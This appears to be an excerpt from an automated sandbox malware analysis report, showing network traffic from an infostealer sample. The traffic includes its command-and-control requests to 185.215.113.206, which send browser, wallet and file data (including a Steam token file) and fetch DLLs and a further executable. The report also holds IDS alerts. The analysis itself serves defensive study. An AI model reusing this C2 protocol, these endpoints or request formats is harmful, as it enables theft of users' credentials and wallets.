00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDGIJJDGCBKFIDHIEBKEHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 47 49 4a 4a 44 47 43 42 4b 46 49 44 48 49 45 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 36 30 41 46 37 30 42 32 39 32 38 39 39 32 32 34 37 36 36 34 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 49 4a 4a 44 47 43 42 4b 46 49 44 48 49 45 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 49 4a 4a 44 47 43 42 4b 46 49 44 48 49 45 42 4b 45 2d 2d 0d 0a Data Ascii: ------HDGIJJDGCBKFIDHIEBKEContent-Disposition: form-data; name="hwid"660AF70B2928992247664------HDGIJJDGCBKFIDHIEBKEContent-Disposition: form-data; name="build"mars------HDGIJJDGCBKFIDHIEBKE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGDGCGCFHIEHIDGDBAAEHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 44 47 43 47 43 46 48 49 45 48 49 44 47 44 42 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 32 31 62 36 35 30 32 39 34 35 35 39 30 37 35 34 62 39 65 64 65 37 61 62 31 38 37 39 39 33 65 30 34 64 34 37 65 31 65 39 62 36 33 31 62 33 35 65 38 63 30 63 35 30 62 34 39 32 62 62 30 37 61 63 63 33 65 66 33 33 34 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 47 43 47 43 46 48 49 45 48 49 44 47 44 42 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 47 43 47 43 46 48 49 45 48 49 44 47 44 42 41 41 45 2d 2d 0d 0a Data Ascii: ------EGDGCGCFHIEHIDGDBAAEContent-Disposition: form-data; name="token"321b6502945590754b9ede7ab187993e04d47e1e9b631b35e8c0c50b492bb07acc3ef334------EGDGCGCFHIEHIDGDBAAEContent-Disposition: form-data; name="message"browsers------EGDGCGCFHIEHIDGDBAAE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDHCGDGIEBKJKFHJJKFCHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 44 48 43 47 44 47 49 45 42 4b 4a 4b 46 48 4a 4a 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 32 31 62 36 35 30 32 39 34 35 35 39 30 37 35 34 62 39 65 64 65 37 61 62 31 38 37 39 39 33 65 30 34 64 34 37 65 31 65 39 62 36 33 31 62 33 35 65 38 63 30 63 35 30 62 34 39 32 62 62 30 37 61 63 63 33 65 66 33 33 34 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 43 47 44 47 49 45 42 4b 4a 4b 46 48 4a 4a 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 43 47 44 47 49 45 42 4b 4a 4b 46 48 4a 4a 4b 46 43 2d 2d 0d 0a Data Ascii: ------GDHCGDGIEBKJKFHJJKFCContent-Disposition: form-data; name="token"321b6502945590754b9ede7ab187993e04d47e1e9b631b35e8c0c50b492bb07acc3ef334------GDHCGDGIEBKJKFHJJKFCContent-Disposition: form-data; name="message"plugins------GDHCGDGIEBKJKFHJJKFC--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDHJEBGIEBFIJKEBFBFHHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 48 4a 45 42 47 49 45 42 46 49 4a 4b 45 42 46 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 32 31 62 36 35 30 32 39 34 35 35 39 30 37 35 34 62 39 65 64 65 37 61 62 31 38 37 39 39 33 65 30 34 64 34 37 65 31 65 39 62 36 33 31 62 33 35 65 38 63 30 63 35 30 62 34 39 32 62 62 30 37 61 63 63 33 65 66 33 33 34 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 4a 45 42 47 49 45 42 46 49 4a 4b 45 42 46 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 4a 45 42 47 49 45 42 46 49 4a 4b 45 42 46 42 46 48 2d 2d 0d 0a Data Ascii: ------IDHJEBGIEBFIJKEBFBFHContent-Disposition: form-data; name="token"321b6502945590754b9ede7ab187993e04d47e1e9b631b35e8c0c50b492bb07acc3ef334------IDHJEBGIEBFIJKEBFBFHContent-Disposition: form-data; name="message"fplugins------IDHJEBGIEBFIJKEBFBFH--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHJEHJJDAAAKEBGCFCAAHost: 185.215.113.206Content-Length: 6491Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIIEHJDBKJKECBFHDGHJHost: 185.215.113.206Content-Length: 999Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAAAKJKJEBGHJKFHIDGCHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 41 41 41 4b 4a 4b 4a 45 42 47 48 4a 4b 46 48 49 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 32 31 62 36 35 30 32 39 34 35 35 39 30 37 35 34 62 39 65 64 65 37 61 62 31 38 37 39 39 33 65 30 34 64 34 37 65 31 65 39 62 36 33 31 62 33 35 65 38 63 30 63 35 30 62 34 39 32 62 62 30 37 61 63 63 33 65 66 33 33 34 0d 0a 2d 2d 2d 2d 2d 2d 41 41 41 41 4b 4a 4b 4a 45 42 47 48 4a 4b 46 48 49 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 41 41 41 4b 4a 4b 4a 45 42 47 48 4a 4b 46 48 49 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 41 41 41 41 4b 4a 4b 4a 45 42 47 48 4a 4b 46 48 49 44 47 43 2d 2d 0d 0a Data Ascii: ------AAAAKJKJEBGHJKFHIDGCContent-Disposition: form-data; name="token"321b6502945590754b9ede7ab187993e04d47e1e9b631b35e8c0c50b492bb07acc3ef334------AAAAKJKJEBGHJKFHIDGCContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------AAAAKJKJEBGHJKFHIDGCContent-Disposition: form-data; name="file"------AAAAKJKJEBGHJKFHIDGC--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGIDAFBAEBKKEBFIJEBKHost: 185.215.113.206Content-Length: 3087Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIEHJKEBAAEBGCAAEBFHHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 45 48 4a 4b 45 42 41 41 45 42 47 43 41 41 45 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 32 31 62 36 35 30 32 39 34 35 35 39 30 37 35 34 62 39 65 64 65 37 61 62 31 38 37 39 39 33 65 30 34 64 34 37 65 31 65 39 62 36 33 31 62 33 35 65 38 63 30 63 35 30 62 34 39 32 62 62 30 37 61 63 63 33 65 66 33 33 34 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 48 4a 4b 45 42 41 41 45 42 47 43 41 41 45 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 48 4a 4b 45 42 41 41 45 42 47 43 41 41 45 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 48 4a 4b 45 42 41 41 45 42 47 43 41 41 45 42 46 48 2d 2d 0d 0a Data Ascii: ------GIEHJKEBAAEBGCAAEBFHContent-Disposition: form-data; name="token"321b6502945590754b9ede7ab187993e04d47e1e9b631b35e8c0c50b492bb07acc3ef334------GIEHJKEBAAEBGCAAEBFHContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------GIEHJKEBAAEBGCAAEBFHContent-Disposition: form-data; name="file"------GIEHJKEBAAEBGCAAEBFH--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJJJKEHCAKFBFHJKEHCFHost: 185.215.113.206Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKKKJJJKJKFHJJJJECBFHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 43 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 32 31 62 36 35 30 32 39 34 35 35 39 30 37 35 34 62 39 65 64 65 37 61 62 31 38 37 39 39 33 65 30 34 64 34 37 65 31 65 39 62 36 33 31 62 33 35 65 38 63 30 63 35 30 62 34 39 32 62 62 30 37 61 63 63 33 65 66 33 33 34 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 43 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 43 42 46 2d 2d 0d 0a Data Ascii: ------JKKKJJJKJKFHJJJJECBFContent-Disposition: form-data; name="token"321b6502945590754b9ede7ab187993e04d47e1e9b631b35e8c0c50b492bb07acc3ef334------JKKKJJJKJKFHJJJJECBFContent-Disposition: form-data; name="message"wallets------JKKKJJJKJKFHJJJJECBF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKKEGDGCGDAKEBFIJECGHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 4b 4b 45 47 44 47 43 47 44 41 4b 45 42 46 49 4a 45 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 32 31 62 36 35 30 32 39 34 35 35 39 30 37 35 34 62 39 65 64 65 37 61 62 31 38 37 39 39 33 65 30 34 64 34 37 65 31 65 39 62 36 33 31 62 33 35 65 38 63 30 63 35 30 62 34 39 32 62 62 30 37 61 63 63 33 65 66 33 33 34 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 45 47 44 47 43 47 44 41 4b 45 42 46 49 4a 45 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 45 47 44 47 43 47 44 41 4b 45 42 46 49 4a 45 43 47 2d 2d 0d 0a Data Ascii: ------AKKEGDGCGDAKEBFIJECGContent-Disposition: form-data; name="token"321b6502945590754b9ede7ab187993e04d47e1e9b631b35e8c0c50b492bb07acc3ef334------AKKEGDGCGDAKEBFIJECGContent-Disposition: form-data; name="message"files------AKKEGDGCGDAKEBFIJECG--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHJDGHJDBFIJKECAECAFHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 4a 44 47 48 4a 44 42 46 49 4a 4b 45 43 41 45 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 32 31 62 36 35 30 32 39 34 35 35 39 30 37 35 34 62 39 65 64 65 37 61 62 31 38 37 39 39 33 65 30 34 64 34 37 65 31 65 39 62 36 33 31 62 33 35 65 38 63 30 63 35 30 62 34 39 32 62 62 30 37 61 63 63 33 65 66 33 33 34 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 47 48 4a 44 42 46 49 4a 4b 45 43 41 45 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 47 48 4a 44 42 46 49 4a 4b 45 43 41 45 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 47 48 4a 44 42 46 49 4a 4b 45 43 41 45 43 41 46 2d 2d 0d 0a Data Ascii: ------EHJDGHJDBFIJKECAECAFContent-Disposition: form-data; name="token"321b6502945590754b9ede7ab187993e04d47e1e9b631b35e8c0c50b492bb07acc3ef334------EHJDGHJDBFIJKECAECAFContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------EHJDGHJDBFIJKECAECAFContent-Disposition: form-data; name="file"------EHJDGHJDBFIJKECAECAF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KECFCGHIDHCAKEBFCFHCHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 45 43 46 43 47 48 49 44 48 43 41 4b 45 42 46 43 46 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 32 31 62 36 35 30 32 39 34 35 35 39 30 37 35 34 62 39 65 64 65 37 61 62 31 38 37 39 39 33 65 30 34 64 34 37 65 31 65 39 62 36 33 31 62 33 35 65 38 63 30 63 35 30 62 34 39 32 62 62 30 37 61 63 63 33 65 66 33 33 34 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 43 46 43 47 48 49 44 48 43 41 4b 45 42 46 43 46 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 43 46 43 47 48 49 44 48 43 41 4b 45 42 46 43 46 48 43 2d 2d 0d 0a Data Ascii: ------KECFCGHIDHCAKEBFCFHCContent-Disposition: form-data; name="token"321b6502945590754b9ede7ab187993e04d47e1e9b631b35e8c0c50b492bb07acc3ef334------KECFCGHIDHCAKEBFCFHCContent-Disposition: form-data; name="message"ybncbhylepme------KECFCGHIDHCAKEBFCFHC--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKJEHJKJEBGHJJKEBGIEHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4a 45 48 4a 4b 4a 45 42 47 48 4a 4a 4b 45 42 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 32 31 62 36 35 30 32 39 34 35 35 39 30 37 35 34 62 39 65 64 65 37 61 62 31 38 37 39 39 33 65 30 34 64 34 37 65 31 65 39 62 36 33 31 62 33 35 65 38 63 30 63 35 30 62 34 39 32 62 62 30 37 61 63 63 33 65 66 33 33 34 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 45 48 4a 4b 4a 45 42 47 48 4a 4a 4b 45 42 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 45 48 4a 4b 4a 45 42 47 48 4a 4a 4b 45 42 47 49 45 2d 2d 0d 0a Data Ascii: ------JKJEHJKJEBGHJJKEBGIEContent-Disposition: form-data; name="token"321b6502945590754b9ede7ab187993e04d47e1e9b631b35e8c0c50b492bb07acc3ef334------JKJEHJKJEBGHJJKEBGIEContent-Disposition: form-data; name="message"wkkjqaiaxkhb------JKJEHJKJEBGHJJKEBGIE--

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 13.107.246.40 13.107.246.40
Source: Joe Sandbox View	IP Address: 13.107.246.40 13.107.246.40

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View

JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:58697 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:58846 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 20.109.210.53:443 -> 192.168.2.5:58699
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 20.109.210.53:443 -> 192.168.2.5:59058

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C76CC60 PR_Recv,

0_2_6C76CC60

Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCJDKzQEIucrNAQi/0c0BCIrTzQEI0NbNAQio2M0BCPnA1BUYj87NARi60s0BGMLYzQEY642lFw==Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
